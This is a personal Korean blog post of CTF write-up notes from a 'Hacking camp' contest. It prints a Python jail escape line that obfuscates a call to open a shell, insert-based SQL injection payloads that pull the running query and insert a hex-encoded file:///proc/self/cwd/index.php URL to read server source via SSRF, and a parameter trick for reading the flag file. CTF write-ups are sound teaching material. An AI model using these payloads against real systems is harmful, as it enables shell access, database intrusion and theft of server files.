Profile

머리정리하는곳

c2w2m2

Hacking camp CTF

그냥 푼것중에 좀 쓸만하다 대충 메모.



Prision 인가 파이제일 문제


뭘 입력해도 값이 안오는데 문제 이름이나 설명보면 젤브레이크는 맞는거 같고 하다가,


help() 를 쳤더니, 연결은 끊기지 않은 채로 아무것도 안나왔다.


그래서, help("print") 같은걸로 했는데 막 뭐가 나오기 시작했다.


그래서 아 실행 되는구나랑, 이걸로 필터링 체크가 가능하겠다 싶어서,


help("os") 이런식으로 필터링 체크를 했고,


getattr(__import__("o"+"s"),"sy"+"stem")("sh")


같은걸로 쉘땄다.



READ FLAG


CTF 끝나고 풀었다.


힌트로 _ 우회된다는데, CTF 시간때는 로컬에서 퍼징했을때 아무것도 안되서 포기하고 아카이브 했는데,


대회 끝나고 서버에다가 퍼징하니까 + 로 풀렸다,,, 왜 우회되는지는 모르겟음,,


show+source=/hackingcamp17/flag 



아카이브.is


이것도 끝나고 풀었다.


아니 문제 보자마자 ' 먹혀서 Insert based Sql injection 을 찾았고, 


SSRF 문제인걸 바로 알았는데다, Error based Sql injection 으로 Query 문도 구했는데,


뭔가 꼬였길래 대회시간안에 못풀었다.


끝나고 15분 후에나 풀린,,,



azsdf',0, '' , ( (select INFO from information_schema.processlist where INFO is not null) ) ), (1234,0x66696C653A2F2F2F70726F632F6377642F73656C662F696E6465782E706870, 1000, '', 2)-- -


azsdf',0, '' , substring( (select INFO from information_schema.processlist where INFO is not null) ,30,150) ), (1234,0x66696C653A2F2F2F70726F632F6377642F73656C662F696E6465782E706870, 1000, '', 2)-- -


다음과 같은 쿼리로 Sql query 를 가져온다. ( substring 은 LENGTH 로 본 쿼리 총 길이가 528 인가 그랬는데, 128자인가 밖에 안나와서 뒤에더 보려고 썼다.)


그리고 결과 총합하면


INSERT INTO `archive` (`id`, `url`, `status`,`contents`, `uploadtime`) VALUES ('82a2788d1a4ec7ef241f352ec578b112c850e86e1a881b8c24c24c836fdf5e21', ~~~ )


꼴의 쿼리가 나온다. ( 추후 SSRF 로 코드 읽으면 저 id value 는 PHPSESSID 의 sha256 한 값이다 )


그래서 Insert based sqli 진행해서 file:///proc/self/cwd/index.php 를 읽으면 된다.


',0,'',NOW()), ("82a2788d1a4ec7ef241f352ec578b112c850e86e1a881b8c24c24c836fdf5e21", 0x66696C653A2F2F2F70726F632F73656C662F6377642F696E6465782E706870,0,'',NOW())-- -


같은 페이로드로 넣고


인덱스 가서 읽으면 된다.



Perl머시기


perl 에서는 file read 할때 대소문자 구분을 안하나 보다.


FLAG 로 읽으면 읽힌다.

'CTF Writeup' 카테고리의 다른 글

XCTF  (0) 2018.04.14
Codegate2018  (0) 2018.04.06
CodeGate2018 Junior Writeup  (0) 2018.02.07
[ROOT] Write up  (0) 2017.12.24
[SECCON] writeup  (0) 2017.12.10